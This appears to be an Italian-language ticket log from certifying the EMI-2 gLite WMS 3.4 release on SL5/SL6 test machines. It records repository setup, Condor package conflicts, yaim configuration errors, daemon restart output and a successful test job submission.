• Update: condor-emi and condor will conflict. For this reason, it is suggested to follow these steps in the provided order:

1. yum remove condor condor-lcg
2. yum install emi-wms condor-emi
3. run yaim
4. set the ownership of the directories /var and /var/log to root.root, if not already the case
5. execute the cron job /etc/cron.d/glite-wms-create-host-proxy.cron

riptova!

la prende dal repo cert sl6

la versione di condor che è installata non va bene
dovrebbe essere quella che trovi nel repo di certificaz: condor-emi-7.8.0-2.sl6.x86_64.rpm

SL6 INSTALL LOG

SL6 PROBLEMI

Problema di repository era errore nello script automatico.
Risolto quello installa ma ci sono dei problemi con condor e logmonitor.

durante la configurazione mancano delle directory condor, non so se e' un bug o voluto:
molte righe del tipo (vedi log allegato)

DEBUG: Configure Condor
/opt/glite/yaim/functions/config_condor_wms: line 65: /etc/condor/condor_config: No such file or directory
/opt/glite/yaim/functions/config_condor_wms: line 67: /usr/sbin/condor_configure: No such file or directory
grep: /etc/condor/condor_config: No such file or directory
grep: /etc/condor/condor_config: No such file or directory
grep: /etc/condor/condor_config.local: No such file or directory
grep: /etc/condor/condor_config.local: No such file or directory
/opt/glite/yaim/functions/config_condor_wms: line 105: /etc/condor/condor_config.local: No such file or directory
.....

Inoltre problemi con i demoni

• • • glite-wms-lm:
      LogMonitor stopped.

• • • glite-wms-jc:
      JobController stopped.

dopo la configurazione

mi ero fermato al commento: da usare insieme al production.

il repo di certificazione è pronto con tutti i rpm menzionati da Paolo.

in un comment precedente avevo detto di usare il repository testing inquanto la "package list" nel task di emi-release e' stato mal compilato.
Nel pomeriggio Paolo ha corretto le liste SL5 e SL6, stasera aggiorno il repository di certification. e ti chiederei di riprovare o almeno un "yum clean all" seguito da "yum pdate".

SL6 INSTALL TEST LOG

SL6 FALLISCE installazione, qualche problema con repository?

ll /etc/yum.repos.d/
total 52
rw-rr- 1 root root 156 Feb 24 2012 cnaf-local.repo
rw-rr- 1 root root 235 Aug 28 17:45 egi-trustanchors.repo
rw-rr- 1 root root 253 May 17 04:31 emi2-base.repo
rw-rr- 1 root root 489 Jul 3 12:02 emi2-cert-sl6-base.repo
rw-rr- 1 root root 264 May 17 04:31 emi2-contribs.repo
rw-rr- 1 root root 273 May 17 04:31 emi2-third-party.repo
rw-rr- 1 root root 262 May 17 04:31 emi2-updates.repo
rw-rr- 1 root root 957 May 9 17:55 epel.repo
rw-rr- 1 root root 1056 May 9 17:55 epel-testing.repo -> SONO ENABLED=0
rw-rr- 1 root root 198 Aug 28 17:34 lemon.repo
rw-rr- 1 root root 853 Sep 25 2011 puppetlabs.repo
rw-rr-. 1 root root 2093 Jul 27 2011 sl-other.repo
rw-rr-. 1 root root 1767 Jan 26 2012 sl.repo

SL5 INSTALL TEST

SL5
Installazione OK.
CONFIGURAZIONE

DEMONI: PROBLEMI

[root@cert-13 tmp]# service gLite restart
STOPPING SERVICES

• • • glite-lb-locallogger:
      Stopping glite-lb-logd ... done
      Stopping glite-lb-interlogd ... done

• • • glite-proxy-renewald:
      Stopping ProxyRenewal Daemon: glite-proxy-renewd ... done

• • • glite-wms-ice:
      stopping ICE... ok

• • • glite-wms-jc:
      Stopping JobController daemon(s)
      Stopping JobController... JobController not running!
      Stopping CondorG... CondorG not running!

• • • glite-wms-lm:
      Stopping LogMonitor... LogMonitor not running!

• • • glite-wms-wm:
      stopping workload manager... ok

• • • glite-wms-wmproxy:
      Stopping /usr/bin/glite_wms_wmproxy_server... ok

• • • globus-gridftp:
      Stopping globus-gridftp-server: [ OK ]

STARTING SERVICES

• • • globus-gridftp:
      Starting globus-gridftp-server: [ OK ]

• • • glite-wms-wmproxy:
      Starting /usr/bin/glite_wms_wmproxy_server... ok

• • • glite-wms-wm:
      starting workload manager... ok

• • • glite-wms-lm:
      Starting LogMonitor.../usr/bin/glite-wms-log_monitor: error while loading shared libraries: libcondorapi.so: cannot open shared object file: No such file or directory
      [FAILED]

• • • glite-wms-jc:
      Starting JobController daemon(s)
      Starting JobController.../usr/bin/glite-wms-job_controller: error while loading shared libraries: libcondorapi.so: cannot open shared object file: No such file or directory
      [FAILED]
      Starting CondorG...bash: /usr/sbin/condor_master: No such file or directory
      [FAILED]

• • • glite-wms-ice:
      starting ICE... ok

• • • glite-proxy-renewald:
      Starting ProxyRenewal Daemon: glite-proxy-renewd ... done

• • • glite-lb-locallogger:
      Starting glite-lb-logd ...This is LocalLogger, part of Workload Management System in EU DataGrid & EGEE.
      done
      Starting glite-lb-interlogd ... done

Job SUBMIT OK
[dongiovanni@emitestbed08 ~]$ glite-wms-job-status https://cert-13.cnaf.infn.it:9000/2ofWqBhO4SALUU6RJwZZLg
======================= glite-wms-job-status Success =====================
BOOKKEEPING INFORMATION:
Status info for the Job : https://cert-13.cnaf.infn.it:9000/2ofWqBhO4SALUU6RJwZZLg
Current Status: Done (Success)
Exit code: 0

LISTMATCH OK

VARIE:

BDII_IPV6_SUPPORT richiesto nel siteinfo.def (non doveva essere messo un default automatico?)
service gLite status esce con exit value >0 anche se e' a posto, il che fa fallire lo script di deployment automatico.

per mottivi di lista pachetti non completa per questa volta si deve usare il repository di testing di EMI 2.

repositories certification SL5/SL6 pronti!

à quello che trovi al link sopra , nella descrizione del task.

This repositories MUST be used together with the production ones as they contain ONLY the packages that are under certification (as specified in the release tasks)

• SL5/x86_64 - emi2-cert-sl5-base.repo - http://emisoft.web.cern.ch/emisoft/dist/EMI/certification/repos/emi2-cert-sl5-base.repo
• SL6/x86_64 - emi2-cert-sl6-base.repo - http://emisoft.web.cern.ch/emisoft/dist/EMI/certification/repos/emi2-cert-sl6-base.repo

macchine pronte:
cert-13 SL5
cert-27 SL6

preparo i moduli puppet.
Il repository da usare è ?

WMS 3.4 è pronto per essere certificato.

Discutiamo Venerdi (03.08) durante il meeting come organizzarci.